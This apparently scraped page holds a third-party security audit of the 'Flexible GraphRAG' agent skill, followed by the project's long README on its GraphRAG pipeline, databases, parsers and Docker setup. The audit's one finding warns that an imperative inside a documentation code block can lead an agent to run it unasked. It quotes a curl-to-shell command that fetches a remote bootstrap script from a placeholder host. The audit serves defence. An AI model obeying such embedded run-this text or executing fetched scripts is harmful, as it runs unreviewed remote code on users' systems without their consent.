Python, LlamaIndex, LangChain, Docker Compose: 15 Property Graph, 4 RDF , 10 Vector, OpenSearch, Elasticsearch, Alfresco DBs. 13 data sources (9 auto-sync), KG auto-building, Ontologies, LLMs, Docling or LlamaParse doc processing, GraphRAG, RAG only, Hybrid Search, AI Chat. TypeS
SaferSkills independently audited Flexible Graphrag (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
<p align="center"> <a href="./screen-shots/langflow/langflow-sharepoint-graphdb-neo4j.png"> <img src="./screen-shots/langflow/langflow-sharepoint-graphdb-neo4j.png" alt="Flexible GraphRAG in Langflow pipeline mode: a SharePoint auto-sync source using Microsoft Graph delta queries, a PDF parsed by LiteParse, and one ingest populating Qdrant vector, Elasticsearch search, Neo4j property graph, and Graphwise GraphDB RDF at the same time, with the processing tab showing initial sync status and AI chat answering questions from an ontology-mode knowledge graph" width="900"> </a> </p>
<p align="center"><em>Langflow pipeline mode — a SharePoint auto-sync data source (MS Graph delta query) ingesting and targeting Qdrant vector, Elasticsearch, Neo4j, and Graphwise Ontotext GraphDB, with ontology-mode, AI chat drawing context from all four.</em></p>
<p align="center"> <a href="./images/flexible-graphrag-v0.8.0-architecture.png"> <img src="./images/flexible-graphrag-v0.8.0-architecture.png" alt="Flexible GraphRAG v0.8.0 architecture: default, CocoIndex, and Langflow ingest pipelines sharing the same data sources, database targets, UI, and REST / MCP APIs" width="900"> </a> </p>
<p align="center"><em>Can use 1 of 3 ingest pipelines with same configured data sources and database targets, with same UI and same REST / MCP APIs</em></p>
Flexible GraphRAG is an open source AI context platform supporting a document processing pipeline (Docling, LlamaParse, or LiteParse), knowledge graph auto-building, ontologies, schemas, many LLM providers, GraphRAG and RAG, hybrid semantic search (fulltext, vector, property graph, RDF/SPARQL), AI query, and AI chat. The backend is Python with LlamaIndex and LangChain as peer frameworks. LlamaIndex is the default for each pipeline stage; LangChain can be selected per stage in environment configuration. The API is a REST FastAPI service. Angular, React, and Vue TypeScript frontends and an MCP server are included. The stack supports 14 data sources (10 with incremental auto-sync), 15 property graph databases, 4 RDF triple stores (Apache Jena Fuseki, Ontotext GraphDB, Oxigraph, Amazon Neptune RDF), 10 vector databases, OpenSearch / Elasticsearch / BM25 search, Alfresco, and Nuxeo. Databases and dashboards can be enabled with the provided Docker Compose layout. Optionally, the ingest pipeline, hybrid search, and AI query can run through customizable Langflow visual flows (12 custom Langflow components). As a further option, ingest can run on a CocoIndex (Rust engine) pipeline that reuses the same sources, targets, parsers and KG extractors, adding step-level memoization and automatic delete reconciliation. And optionally, [Hyland OpenArch](https://github.com/Hyland/OpenArch), an AI-ready content repository for documents with their extracted text and vector embeddings, can be the search + vector store and the store for data sources and document state.
New 10/23/26 — v0.9.0 release: Optional [Hyland OpenArch](https://github.com/Hyland/OpenArch) as the search + vector store (ENABLE_OPENARCH) and as the store for data sources and document state, with no PostgreSQL (INCREMENTAL_STATE_STORE=openarch) (see usage); separate Graph and RDF choices per row and ingest; a per-user Jobs list; a title bar with Dark / Light theme in the Angular UI library; and [KG Spaces for Nuxeo](https://github.com/stevereiner/kg-spaces-nuxeo) (Add to KG Spaces and Ask from Nuxeo Web UI).
New 10/19/26 — v0.8.6 release: Sign-in and permission-aware search for every repository and cloud source: Alfresco, Nuxeo, CMIS, SharePoint / OneDrive, Box, Google Drive / Cloud Storage, Azure Blob and Amazon S3, with one sign-in pill in the header whose drop-down signs you in and out of each data source and server, and a Sources picker, in the React, Vue and Angular UIs and in KG Spaces; S3 and Azure Blob results open the file through short-lived signed links; per-row Processing columns for every data source and a Deep (subfolders) checkbox; MCP permission levels and browser sign-in. See the Sign-In Guide.
New 10/17/26 — v0.8.5 release: Sign in to Alfresco in the React, Vue and Angular UIs: search and AI chat answer only from Alfresco documents you may read (with a server picker in the sign-in dialog when several Alfresco servers are in the stores), and the Alfresco source form can ingest using the sign-in. The MCP server's search and query tools filter by Alfresco permissions too (pass the user's ticket or credentials). Data-source forms no longer pre-fill credentials or get autofilled by the browser, and KG Spaces can ingest from another Alfresco server (in Other Sources, after adding alfresco to its enabledSources config; KG Spaces search still covers only the Alfresco server ACA is signed in to).
New 10/10/26 — v0.8.4 release: Hybrid search results (graph and RDF too) and AI query / AI chat answers now name the documents they came from, as links: Alfresco documents open in the Alfresco Content App viewer over their folder (or Share), Nuxeo in its Web UI, web pages and Wikipedia at their URL, and YouTube at the transcript segment's time. In KG Spaces, closing ACA's viewer returns to your search results and chat. KG Spaces hybrid search returns full results again, and ArcadeDB moves to 26.10.1.
New 10/8/26 — v0.8.3 release: The Processing tab now has per-row Search+Vector, Graphs and Auto Sync checkbox columns (Alfresco, Nuxeo and file uploads initially), so in addition to ingest, can toggle having vector+search, graphs, and auto sync, row by row, Jobs sub-tab and Run in background. KG Spaces adds Ask KG Spaces about this document / folder (then ask in AI chat). Hybrid search, AI query, and AI chat, return only from documents the signed-in Alfresco user may read.
New 10/2/26 — v0.8.2 release: The Flexible GraphRAG Angular frontend's tab components are now a shared library project, published on npm as @flexible-graphrag/angular-ui, and also used by the new KG Spaces for Alfresco Content App (kg-spaces-aca), redone as a real Apache 2.0 ACA extension. Besides using multi-select of Alfresco files and folders (any mix) from ACA's regular file list views, wherever they are, it now has the data sources tab (renamed there OTHER SOURCES) for choosing additional data sources supported by Flexible GraphRAG. AI context can be kept up to date with auto change sync from Alfresco, Nuxeo, SharePoint, Box, Amazon S3, Azure Blob Storage, Google Cloud Storage, Google Drive and OneDrive, and ingested without auto sync from File Upload, CMIS, Web Pages, Wikipedia and YouTube.
New 9/16/26 — v0.8.1 release: Alfresco Docker stack upgraded to Community 26.2.0, support for Alfresco OpenSearch and Elasticsearch (shared with the Flexible GraphRAG app or dedicated), and a file upload data source path-traversal fix.
New 8/18/26 — v0.8.0 release: Optional CocoIndex integration — Rust-backed CocoIndex pipeline mixed with Flexible GraphRAG sources (incl. detectors), functions, and targets (more PG/vector/RDF/search); same UI/REST/MCP. Standalone app.py also supported. Now with custom KG extractors (bring your own, or fall back to the built-in one per document) and entity resolution. New meeting-notes example (examples/cocoindex/meeting_notes_graph_any/) — a CocoIndex example ported to run against any configured graph store and source. See CocoIndex Integration.
New 8/8/26 — v0.7.2 release: Nuxeo added as a data source — all 3 UIs (React/Vue/Angular) plus REST/MCP, with basic / token / OAuth2 auth and real-time incremental sync via the Nuxeo audit event stream (Kafka). Alfresco OAuth2 and ticket authentication added across the source, all 3 UIs, initial ingest, and real-time sync. Alfresco Community 26.1 Docker upgrade. The MCP server gained optional OAuth2 on its transport (bearer token via your IdP) and moved to FastMCP 3. Requires python-alfresco-api >= 1.2.1.
New 7/20/26 — v0.7.1 release: Document processing now supports LiteParse in addition to the previous Docling and LlamaParse support. Langflow integration ships with fixes and an optional Langflow Docker image bundling the 12 "Flexible" components. MS Graph delta query support was added for more efficient incremental updating with SharePoint and OneDrive data sources.
New 7/5/26: Optional Langflow visual flows — the app can run its ingest pipeline, hybrid search, and AI query through customizable Langflow flows (12 custom Flexible GraphRAG components), using your existing .env config. See Langflow Integration.
New 5/6/26: 15 property graph databases total: 8 supported on both LlamaIndex and LangChain, 1 LI-only (Google Cloud Spanner Graph), 6 LC-only (ArangoDB, Apache AGE, Azure Cosmos DB for Gremlin, Apache HugeGraph, SurrealDB, TigerGraph). AWS Neptune RDF/SPARQL added. All 10 vector databases, all 3 search engines, and all LLM/embedding providers work with both LlamaIndex and LangChain. Every pipeline stage (chunking, KG extraction, graph write, vector write, search write, and retrieval fusion) can be configured independently. (Data source reading is LlamaIndex only; RDF stores use framework-independent adapters with LangChain Text-to-SPARQL retrieval.)
New: Flexible GraphRAG now supports RDF-based ontologies for both property graph databases and RDF triple store databases (Graphwise Ontotext GraphDB, Fuseki, and Oxigraph). Document ingestion with KG extraction, auto incremental data source change detection, and UI search (hybrid search, AI query, and AI chat) are all supported with both database types.
New: Flexible GraphRAG supports automatic incremental updates (Optional) from most data sources, keeping your Vector, Search and Graph databases synchronized in real-time or near real-time.
New: KG Spaces Integration of Flexible GraphRAG in Alfresco ACA Client
New in v0.6.0: Version 0.6.0 broadened framework and database choice: LangChain is a full peer to LlamaIndex (per-stage env pickers for chunking, vector, search, property graph, KG extraction, fusion). 15 property graph backends: 8 on both frameworks, Google Cloud Spanner (LlamaIndex-only), 6 LangChain-only (ArangoDB, Apache AGE, Azure Cosmos DB for Gremlin, HugeGraph, SurrealDB, TigerGraph). RDF includes Apache Jena Fuseki, Ontotext GraphDB, Oxigraph, and Amazon Neptune RDF. Incremental delete, LangChain adapters, and cleanup paths were extended across stores.
ENABLE_OPENARCH=true) and/or as the auto-sync state store in place of PostgreSQL (INCREMENTAL_STATE_STORE=openarch), with per-folder / per-document scope rules — see docs/DATABASES/OPENARCH/OPENARCH.mdopenai_like), OpenRouter, LiteLLM proxy, and vLLM — configurable via LLM_PROVIDER; see Supported LLM ProvidersEMBEDDING_KIND=openai_like), and LiteLLM — see LLM Configuration.env config applies), orchestrated visually. See Langflow Integration.PIPELINE_BACKEND=cocoindex) mixing CocoIndex connectors with Flexible GraphRAG sources (incl. event detectors), parsers, chunkers, embeddings, LI/LC KG extractors, and broader targets (all 15 PG + 10 vector + RDF + search) — same UI / REST / MCP. Mutually exclusive with ENABLE_INCREMENTAL_UPDATES=true and ENABLE_LANGFLOW_FLOWS=true. Standalone app.py also supported. See CocoIndex Integration.<details> <summary>Click to view Angular UI screenshots (Light Theme)</summary>
| Sources Tab | Processing Tab | Search Tab | Chat Tab |
|---|---|---|---|
| Angular Sources | Angular Processing | Angular Search | Angular Chat |
</details>
<details open> <summary>Click to view React UI screenshots (Dark Theme)</summary>
| Sources Tab | Processing Tab | Search Tab | Chat Tab |
|---|---|---|---|
| React Sources | React Processing | React Search | React Chat |
</details>
<details> <summary>Click to view React UI screenshots (Light Theme)</summary>
| Sources Tab | Processing Tab | Search Tab | Chat Tab |
|---|---|---|---|
| React Sources Light | React Processing Light | React Search Light | React Chat Light |
</details>
<details> <summary>Click to view Vue UI screenshots (Light Theme)</summary>
| Sources Tab | Processing Tab | Search Tab | Chat Tab |
|---|---|---|---|
| Vue Sources | Vue Processing | Vue Search | Vue Chat |
</details>
/flexible-graphrag)/flexible-graphrag-mcp)ingest_documents() support all 14 data sources with source-specific configs: filesystem, repositories (Alfresco, SharePoint, Box, CMIS, Nuxeo), cloud storage, web; skip_graph flag for all data sources; paths parameter for filesystem/Alfresco/CMIS; Alfresco also supports nodeDetails list (multi-select for KG Spaces)search_documents(), query_documents(), ingest_text(), system diagnostics, and health checksMCP_BROWSER_SIGN_IN=true); search and query can be permission-filtered per user (three levels)/flexible-graphrag-ui)/docker)docker/includes/ladybug-explorer.yaml).Flexible GraphRAG supports 14 different data sources for ingesting documents into your knowledge base (Nuxeo missing from older screenshots):
<p align="center"> <a href="./screen-shots/react/data-sources-1.jpeg"> <img src="./screen-shots/react/data-sources-1.jpeg" alt="Data Sources" width="700"> </a> </p>
<p align="center"> <a href="./screen-shots/auto-sync/auto-sync.png"> <img src="./screen-shots/auto-sync/auto-sync.png" alt="Flexible GraphRAG data sources, processing tab, auto-sync document states in Postgres, Neo4j" width="700"> </a> </p>
<p align="center"><em>Flexible GraphRAG data sources, processing tab, auto-sync document states in Postgres (default pipeline, with auto incremental update system enabled), Neo4j shown (Qdrant, Elasticsearch not shown)</em></p>
searchSignIn), so KG Spaces search and chat can also use other sources' documents the user may readEach data source includes:
NEW! Flexible GraphRAG supports automatic incremental updates (Optional) from most data sources, keeping your Vector, Search and Graph databases synchronized in real-time or near real-time:
| Data Source | Auto-Sync Support | Detection Method | Status | Notes |
|---|---|---|---|---|
| Alfresco | ✅ Real-time | Apache ActiveMQ | Ready | |
| Nuxeo | ✅ Real-time | Nuxeo audit stream (Kafka) | Ready | |
| Amazon S3 | ✅ Real-time | SQS event notifications | Ready | |
| Azure Blob Storage | ✅ Real-time | Change feed | Ready | |
| Google Cloud Storage | ✅ Real-time | Pub/Sub notifications | Ready | |
| Google Drive | ✅ Near real-time | Changes API (polling) | Ready | |
| OneDrive | ✅ Near real-time | MS Graph delta query | Ready | |
| SharePoint | ✅ Near real-time | MS Graph delta query | Ready | |
| Box | ✅ Near real-time | Events API (polling) | Ready | |
| Local Filesystem | ✅ Real-time | OS events (watchdog) | Ready | REST API and MCP Server only |
| File Upload UI, CMIS, Web Pages, Wikipedia, YouTube | ➖ Not supported | - | - | No support for incremental updates |
Features:
Setup Requirements:
Enable incremental updates in your .env file:
ENABLE_INCREMENTAL_UPDATES=true
# PostgreSQL database for state management
# By default, uses the pgvector database from docker-compose.yaml
POSTGRES_INCREMENTAL_URL=postgresql://postgres:password@localhost:5433/postgresNote: The incremental updates system uses PostgreSQL to track document state. The docker-compose.yaml includes a pgvector container that can be used both as a vector database option and for incremental updates state management. The database connection creates the necessary tables automatically on first use. Or keep the state in OpenArch instead, with no PostgreSQL (INCREMENTAL_STATE_STORE=openarch, v0.9.0+): see docs/DATABASES/OPENARCH/OPENARCH-STATE-STORE.md.
Usage:
DEFAULT_RECURSIVE (true unless set)DEFAULT_ENABLED_GRAPH and DEFAULT_ENABLED_RDF (true unless set; env-sample.txt sets both to false: search + vector first, a row's graphs added when wanted). A REST or MCP ingest that doesn't say enabled_graph / enabled_rdf uses them tooPostgreSQL for State Management:
The docker/includes/postgres-pgvector.yaml sets up two databases automatically on first start: flexible_graphrag (for optional pgvector vector storage) and flexible_graphrag_incremental (for incremental update state management, with its schema created automatically). pgAdmin is also configured at http://localhost:5050 with both databases pre-registered (no master password) — use password for the server connection and save it. See docs/DATABASES/POSTGRES-SETUP.md for details.
Documentation:
docs/DATA-SOURCES/INCREMENTAL-UPDATE-AUTO-SYNC/README.mddocs/DATA-SOURCES/INCREMENTAL-UPDATE-AUTO-SYNC/QUICKSTART.mddocs/DATA-SOURCES/INCREMENTAL-UPDATE-AUTO-SYNC/SETUP-GUIDE.mddocs/DATA-SOURCES/INCREMENTAL-UPDATE-AUTO-SYNC/API-REFERENCE.mddocs/DATABASES/POSTGRES-SETUP.mddocs/DATABASES/OPENARCH/OPENARCH-STATE-STORE.mdScripts:
scripts/incremental/sync-now.sh|.ps1|.bat - Trigger immediate synchronizationscripts/incremental/set-refresh-interval.sh|.ps1|.bat - Configure polling intervalscripts/incremental/TIMING-CONFIGURATION.md - Timing configuration detailsscripts/incremental/README.md - Script usage documentationAll data sources support three document parser options (full per-parser format matrix in Supported File Formats):
Docling (Default):
DOCLING_OCR=true + DOCLING_OCR_ENGINE=auto|rapidocr|easyocr|tesseract_cli|tesserocr|ocrmacDOCUMENT_PARSER=doclingDOCLING_DEVICE=auto|cpu|cuda|mps — control GPU vs CPU processingSAVE_PARSING_OUTPUT=true — save intermediate parsing results for inspection (works for all three parsers)PARSER_FORMAT_FOR_EXTRACTION=auto|markdown|plaintext — control format used for knowledge graph extractionLlamaParse:
parse_page_without_llm - 1 credit/pageparse_page_with_llm - 3 credits/page (default)parse_page_with_agent - 10-90 credits/pageDOCUMENT_PARSER=llamaparse + LLAMAPARSE_API_KEYSAVE_PARSING_OUTPUT=true - Save parsed output and metadata for inspectionPARSER_FORMAT_FOR_EXTRACTION=auto|markdown|plaintext - Control format used for knowledge graph extractionLiteParse:
.txt/.md read directlyLITEPARSE_COMPLEX_ROUTINGDOCUMENT_PARSER=liteparse; install uv pip install liteparseSAVE_PARSING_OUTPUT and PARSER_FORMAT_FOR_EXTRACTION like the other parsersFlexible GraphRAG processes documents, images, and audio across its three parsers:
.pdf); Microsoft Office + legacy (.docx/.xlsx/.pptx, .doc/.xls/.ppt); web (.html/.htm/.xhtml); data (.csv/.tsv/.json/.xml); documentation (.md/.markdown/.asciidoc/.rtf/.txt/.epub).png/.jpg/.jpeg/.gif/.bmp/.webp/.tiff/.tif.wav/.mp3/.mp4/.m4a (speech recognition / transcription)Capabilities vary by parser — Docling and LlamaParse handle all of the above natively (advanced layout/table/formula analysis, configurable OCR, VLM/multimodal, ASR); LiteParse parses PDFs natively and needs LibreOffice for Office formats / ImageMagick for images. Both markdown and plaintext are saved, and the best is auto-selected for knowledge-graph extraction, embeddings, and search (markdown for tables, plaintext for text-heavy docs; override with PARSER_FORMAT_FOR_EXTRACTION).
Full per-parser matrix, OCR/VLM options, and output formats: [Supported File Formats](docs/DATA-SOURCES/DOC-PROCESSING/SUPPORTED-FILE-FORMATS.md).
Flexible GraphRAG uses three types of databases for its hybrid search capabilities. Each can be configured independently via environment variables.
Set SEARCH_DB to select the store and SEARCH_BACKEND=llamaindex or langchain for the framework.
SEARCH_DB=bm25
BM25_SEARCH_DB_CONFIG={"persist_dir": "./bm25_index"} SEARCH_DB=elasticsearch
ELASTICSEARCH_SEARCH_DB_CONFIG={"hosts": ["http://localhost:9200"], "index_name": "hybrid_search"} SEARCH_DB=opensearch
OPENSEARCH_SEARCH_DB_CONFIG={"hosts": ["http://localhost:9201"], "index_name": "hybrid_search"} SEARCH_DB=noneSet VECTOR_DB to select the store and VECTOR_BACKEND=llamaindex or langchain for the framework.
When switching embedding models, delete existing vector indexes — dimensions differ by provider. See docs/DATABASES/VECTOR-DATABASES/VECTOR-DIMENSIONS.md for cleanup instructions.
#### Supported Vector Databases
VECTOR_DB=neo4j
NEO4J_VECTOR_DB_CONFIG={"uri": "bolt://localhost:7687", "username": "neo4j", "password": "your_password", "index_name": "hybrid_search_vector"} VECTOR_DB=qdrant
QDRANT_VECTOR_DB_CONFIG={"host": "localhost", "port": 6333, "collection_name": "hybrid_search"} VECTOR_DB=elasticsearch
ELASTICSEARCH_VECTOR_DB_CONFIG={"hosts": ["http://localhost:9200"], "index_name": "hybrid_search_vectors"} VECTOR_DB=opensearch
OPENSEARCH_VECTOR_DB_CONFIG={"hosts": ["http://localhost:9201"], "index_name": "hybrid_search_vectors"} VECTOR_DB=chroma
CHROMA_VECTOR_DB_CONFIG={"persist_directory": "./chroma_db", "collection_name": "hybrid_search"} VECTOR_DB=chroma
CHROMA_VECTOR_DB_CONFIG={"host": "localhost", "port": 8001, "collection_name": "hybrid_search"} VECTOR_DB=milvus
MILVUS_VECTOR_DB_CONFIG={"host": "localhost", "port": 19530, "collection_name": "hybrid_search"} VECTOR_DB=weaviate
WEAVIATE_VECTOR_DB_CONFIG={"url": "http://localhost:8086", "index_name": "HybridSearch"} VECTOR_DB=pinecone
PINECONE_VECTOR_DB_CONFIG={"api_key": "your_api_key", "region": "us-east-1", "cloud": "aws", "index_name": "hybrid-search"} VECTOR_DB=postgres
POSTGRES_VECTOR_DB_CONFIG={"host": "localhost", "port": 5433, "database": "postgres", "username": "postgres", "password": "your_password"} VECTOR_DB=lancedb
LANCEDB_VECTOR_DB_CONFIG={"uri": "./lancedb", "table_name": "hybrid_search"}#### RAG without GraphRAG
For faster document ingest processing (no graph extraction), and hybrid search with only full text + vector, configure:
VECTOR_DB=qdrant # Any vector store
SEARCH_DB=elasticsearch # Any search engine
PG_GRAPH_DB=noneSet PG_GRAPH_DB to select the store and GRAPH_BACKEND=llamaindex or langchain for the framework where both are supported. LangChain-only stores (ArangoDB, Apache AGE, HugeGraph, SurrealDB, TigerGraph, Cosmos Gremlin) route property-graph ingestion and retrieval through LangChain adapters regardless of other env defaults. LlamaIndex-only stores (Spanner): when PG_GRAPH_DB=spanner, startup forces GRAPH_BACKEND=llamaindex and ignores GRAPH_BACKEND=langchain.
PG_GRAPH_DB=neo4j
NEO4J_GRAPH_DB_CONFIG={"uri": "bolt://localhost:7687", "username": "neo4j", "password": "your_password"} PG_GRAPH_DB=arcadedb
ARCADEDB_GRAPH_DB_CONFIG={"host": "localhost", "port": 2480, "username": "root", "password": "password", "database": "flexible_graphrag", "query_language": "sql"} PG_GRAPH_DB=falkordb
FALKORDB_GRAPH_DB_CONFIG={"url": "falkor://localhost:6379", "database": "falkor"}.lbug file) with optional structured schema and HNSW vector index on chunks; Explorer UI via Docker (port 7003) PG_GRAPH_DB=ladybug
LADYBUG_GRAPH_DB_CONFIG={"db_dir": "./ladybug", "db_file": "database.lbug", "use_vector_index": true, "has_structured_schema": false, "strict_schema": false} PG_GRAPH_DB=memgraph
MEMGRAPH_GRAPH_DB_CONFIG={"url": "bolt://localhost:7687", "username": "", "password": ""} PG_GRAPH_DB=nebula
NEBULA_GRAPH_DB_CONFIG={"space": "flexible_graphrag", "host": "localhost", "port": 9669, "username": "root", "password": "nebula"} PG_GRAPH_DB=neptune
NEPTUNE_GRAPH_DB_CONFIG={"host": "your-cluster.region.neptune.amazonaws.com", "port": 8182} PG_GRAPH_DB=neptune_analytics
NEPTUNE_ANALYTICS_GRAPH_DB_CONFIG={"graph_identifier": "g-xxxxx", "region": "us-east-1"}llama-index-spanner — install with uv pip install -e ".[spanner-extras]" then uv pip uninstall llama-index (see Optional under Prerequisites). LangChain is not supported for this store (langchain-google-spanner pins incompatible langchain-core). PG_GRAPH_DB=spanner
# GRAPH_BACKEND=llamaindex is forced for Spanner (LlamaIndex-only); langchain is ignored
SPANNER_GRAPH_DB_CONFIG={"project_id": "my-gcp-project", "instance_id": "my-spanner-instance", "database_id": "my-database", "graph_name": "knowledge_graph", "credentials_file": "./gcs.json"} PG_GRAPH_DB=arangodb
ARANGODB_GRAPH_DB_CONFIG={"url": "http://localhost:8529", "database": "flexible_graphrag", "username": "root", "password": "password"} PG_GRAPH_DB=apache_age
APACHE_AGE_GRAPH_DB_CONFIG={"host": "localhost", "port": 5434, "database": "flexible_graphrag_age", "username": "postgres", "password": "password", "graph_name": "knowledge_graph"} PG_GRAPH_DB=hugegraph
HUGEGRAPH_GRAPH_DB_CONFIG={"host": "localhost", "port": 8082, "database": "hugegraph"} PG_GRAPH_DB=surrealdb
SURREALDB_GRAPH_DB_CONFIG={"url": "ws://localhost:8010/rpc", "namespace": "test", "database": "flexible_graphrag", "username": "root", "password": "root"} PG_GRAPH_DB=tigergraph
TIGERGRAPH_GRAPH_DB_CONFIG={"host": "http://localhost", "port": 14240, "restpp_port": 9002, "database": "MyGraph", "username": "tigergraph", "password": "tigergraph"} PG_GRAPH_DB=cosmos_gremlin
COSMOS_GREMLIN_GRAPH_DB_CONFIG={"url": "ws://localhost:8182/gremlin"} PG_GRAPH_DB=noneFlexible GraphRAG supports RDF/RDFS/OWL ontologies to guide knowledge graph extraction, with optional RDF graph store backends. Ontology-guided extraction works with any configured store — property graph, RDF graph store, or both.
owl:Class, owl:ObjectProperty, owl:DatatypeProperty, rdfs:domain, rdfs:range) to constrain entity/relation extraction; OWL is supported but not required{| |} syntax); XSD-typed literals from OWL DatatypeProperty rangesRDF Graph Store Configuration — set RDF_GRAPH_DB to select the store (all four support RDF 1.2 triple terms; Neptune is AWS-managed—no local compose include):
RDF_GRAPH_DB=fuseki
FUSEKI_BASE_URL=http://localhost:3030
FUSEKI_DATASET=flexible-graphrag RDF_GRAPH_DB=graphdb
GRAPHDB_BASE_URL=http://localhost:7200
GRAPHDB_REPOSITORY=flexible-graphrag
GRAPHDB_USERNAME=admin
GRAPHDB_PASSWORD=admin RDF_GRAPH_DB=oxigraph
OXIGRAPH_URL=http://localhost:7878 RDF_GRAPH_DB=neptune_rdf
NEPTUNE_RDF_HOST=db-neptune-1.cluster-xxxxxxxxxxxx.us-east-1.neptune.amazonaws.com
NEPTUNE_RDF_PORT=8182
NEPTUNE_RDF_REGION=us-east-1
NEPTUNE_RDF_USE_IAM_AUTH=true
NEPTUNE_RDF_USE_HTTPS=true
# Optional explicit keys (else default AWS credential chain):
# NEPTUNE_RDF_AWS_ACCESS_KEY_ID=
# NEPTUNE_RDF_AWS_SECRET_ACCESS_KEY= RDF_GRAPH_DB=noneDocker Setup: Uncomment local RDF store includes in docker-compose.yaml (Fuseki, GraphDB, Oxigraph):
includes:
# - includes/jena-fuseki.yaml
# - includes/ontotext-graphdb.yaml
# - includes/oxigraph.yamlComplete Documentation: docs/DATABASES/RDF/RDF-ONTOLOGY-SUPPORT.md | docs/DATABASES/RDF/RDF-STORE-USER-GUIDE.md
Every pipeline stage can independently run on LlamaIndex or LangChain via env var pickers:
| Variable | Options | Description | |
|---|---|---|---|
GRAPH_BACKEND | llamaindex \ | langchain | Property graph store and KG retrieval |
VECTOR_BACKEND | llamaindex \ | langchain | Vector store adapter |
SEARCH_BACKEND | llamaindex \ | langchain | Full-text search adapter |
CHUNKER_BACKEND | llamaindex \ | langchain | Document chunking / splitting |
KG_EXTRACTOR_BACKEND | llamaindex \ | langchain | KG extraction from chunks |
RETRIEVAL_FUSION | llamaindex \ | langchain | Result fusion across retrievers |
LangChain-only graph stores (ArangoDB, Apache AGE, HugeGraph, SurrealDB, TigerGraph, Cosmos Gremlin) auto-select GRAPH_BACKEND=langchain. LlamaIndex-only Spanner (PG_GRAPH_DB=spanner) forces GRAPH_BACKEND=llamaindex at startup and ignores GRAPH_BACKEND=langchain (no LangChain adapter).
Complete Documentation: docs/ADVANCED/LANGCHAIN/LANGCHAIN-GRAPH-INTEGRATION.md
Set via LLM_PROVIDER and provider-specific environment variables.
openai_like) - Any OpenAI-compatible endpoint (LM Studio, LocalAI, Llamafile, vLLM, etc.)scripts/litellm_config.yamlopenai_like on Windows)See docs/LLM/LLM-EMBEDDING-CONFIG.md for all 13 providers with detailed configuration examples.
OpenAI (recommended):
LLM_PROVIDER=openai
OPENAI_API_KEY=your_api_key
OPENAI_MODEL=gpt-4o-miniOllama (local):
LLM_PROVIDER=ollama
OLLAMA_BASE_URL=http://localhost:11434
OLLAMA_MODEL=llama3.2:latestAzure OpenAI:
LLM_PROVIDER=azure_openai
AZURE_OPENAI_API_KEY=your_key
AZURE_OPENAI_ENDPOINT=https://your-resource.openai.azure.com/
AZURE_OPENAI_ENGINE=gpt-4o-miniSet EMBEDDING_KIND to choose the embedding provider — independent of the LLM provider. All 13 LLM providers are also supported as embedding providers. See docs/LLM/LLM-EMBEDDING-CONFIG.md for all providers and options.
OpenAI:
EMBEDDING_KIND=openai
OPENAI_EMBEDDING_MODEL=text-embedding-3-small
OPENAI_API_KEY=your_api_keyOllama (local):
EMBEDDING_KIND=ollama
OLLAMA_EMBEDDING_MODEL=nomic-embed-text
OLLAMA_BASE_URL=http://localhost:11434Azure OpenAI:
EMBEDDING_KIND=azure_openai
AZURE_EMBEDDING_MODEL=text-embedding-3-small
AZURE_EMBEDDING_DEPLOYMENT=your_deployment_name
AZURE_OPENAI_API_KEY=your_key
AZURE_OPENAI_ENDPOINT=https://your-resource.openai.azure.com/Common embedding dimensions:
When switching embedding models, delete existing vector indexes. See docs/DATABASES/VECTOR-DATABASES/VECTOR-DIMENSIONS.md for cleanup instructions.
When using Ollama, configure system-wide environment variables before starting the Ollama service:
Key requirements:
.env file)OLLAMA_NUM_PARALLEL=4 for optimal performance (or 1-2 if resource constrained)See docs/LLM/OLLAMA-CONFIGURATION.md for complete setup instructions including platform-specific steps and performance optimization.
pyproject.toml)Note: The docker/docker-compose.yaml file can provide all these databases via Docker containers.
cd flexible-graphrag
uv pip install -e .uv pip install -e ".[langchain]" — core LC extras: property graph stores via langchain-community where supported, 10 vector stores, 3 search stores, RDF SPARQL retrieval, native LC LLM/embedding clients for all 13 providers, KG extraction via langchain-experimental, retrieval fusionuv pip install --override extras-overrides.txt -e ".[langchain,langchain-extras]" — adds Neo4j (LC), PostgreSQL pgvector, ArcadeDB, ArangoDB, Cosmos Gremlin, HugeGraph, TigerGraph, and related dependencies (see pyproject.toml group langchain-extras)langchain-age driver): uv pip install --override extras-overrides.txt -e ".[langchain,langchain-extras,age-extras]"
python scripts/patch_langchain_age.pyRun patch_langchain_age.py on Python 3.14+ (required); on 3.12/3.13 it is harmless.
uv pip install -e ".[spanner-extras]" — adds LI-only Spanner support via llama-index-spanner. Note: llama-index-spanner declares llama-index (the meta-package) as a dependency, which uv will install. Uninstall it immediately after: uv pip uninstall llama-index — having both llama-index and llama-index-core installed simultaneously can cause version conflicts, as the meta-package pins versions of llama-index-* component packages that can clash with the versions already required by this project uv pip install -e ".[surrealdb-extras]"
uv pip install "surrealdb>=2.0" "langchain-core>=1.3"uv pip install arcadedb-embedded>=26.3.2) — runs ArcadeDB in-process; includes a bundled JVM, no separate Java install needed; latest release: 26.3.2Docker deployment offers multiple scenarios. Before deploying any scenario, set up your environment files:
Environment File Setup (Required for All Scenarios):
.env): # Navigate to backend directory
cd flexible-graphrag
# Linux/macOS
cp env-sample.txt .env
# Windows Command Prompt
copy env-sample.txt .env
# Edit .env with your database credentials, API keys, and settings
# Then return to project root
cd ..docker/.env): # Navigate to docker directory
cd docker
# Linux/macOS
cp docker-env-sample.txt .env
# Windows Command Prompt
copy docker-env-sample.txt .env
# Edit docker/.env for Docker-specific overrides (network addresses, service names)
# Stay in docker directory for next steps#### Scenario A: Databases in Docker, App Standalone (Hybrid)
Configuration Setup:
# If not already in docker directory from previous step:
# cd docker
# Edit docker-compose.yaml to uncomment/comment services as needed
# Scenario A setup in docker-compose.yaml:
# Keep these services uncommented (default setup):
- includes/neo4j.yaml
- includes/qdrant.yaml
- includes/elasticsearch-dev.yaml
- includes/kibana-simple.yaml
# Keep these services commented out:
# - includes/app-stack.yaml # Must be commented out for Scenario A
